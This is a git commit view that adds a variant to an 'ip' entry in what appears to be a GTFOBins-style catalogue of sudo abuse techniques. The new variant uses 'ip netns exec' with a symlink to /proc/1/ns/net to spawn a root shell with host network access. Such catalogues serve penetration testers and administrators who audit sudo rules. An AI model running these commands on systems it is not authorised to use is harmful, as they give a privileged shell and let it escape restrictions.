Update ip.md with to break out of restricted network namespace

Add command to allow access to interfaces in restricted namespace without affecting host networking

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Chris M 2023-02-11 13:11:00 -05:00 committed by GitHub
parent 16e426e98c
commit 88e43c42a9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -24,4 +24,12 @@ functions:
sudo ip netns add foo sudo ip netns add foo
sudo ip netns exec foo /bin/sh sudo ip netns exec foo /bin/sh
sudo ip netns delete foo sudo ip netns delete foo
- description: This only works for Linux with CONFIG_NET_NS=y. This version also grants network access.
code: |
sudo ip netns add foo
sudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
sudo ip netns exec bar /bin/sh
sudo ip netns delete foo
sudo ip netns delete bar
--- ---